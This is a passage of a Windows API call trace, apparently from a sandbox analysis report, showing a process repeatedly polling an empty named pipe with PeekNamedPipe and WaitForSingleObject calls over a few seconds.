lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.367] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.368] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.400] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.429] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.819] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.819] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.128] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.128] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.295] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.296] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.325] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.385] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.448] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.448] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.479] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.479] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.510] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.542] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.572] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.572] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.604] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.635] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.635] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.666] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.666] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.697] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.729] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.759] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.760] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.791] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.854] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.854] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.884] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.884] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.916] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.947] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.947] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.978] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.011] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.041] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.072] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.117] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.117] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.134] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.165] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.196] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.228] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.228] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.259] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.290] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.290] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.321] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.321] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.353] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.446] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.446] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.477] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.477] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.508] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.508] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.540] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.602] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.602] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.633] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.633] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.664] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.695] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.695] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.758] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.758] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.799] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.820] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.851] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.851] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.882] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.914] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.914] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.945] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.976] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.976] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.007] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.038] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.070] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.101] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.133] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.133] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.164] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0085.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | 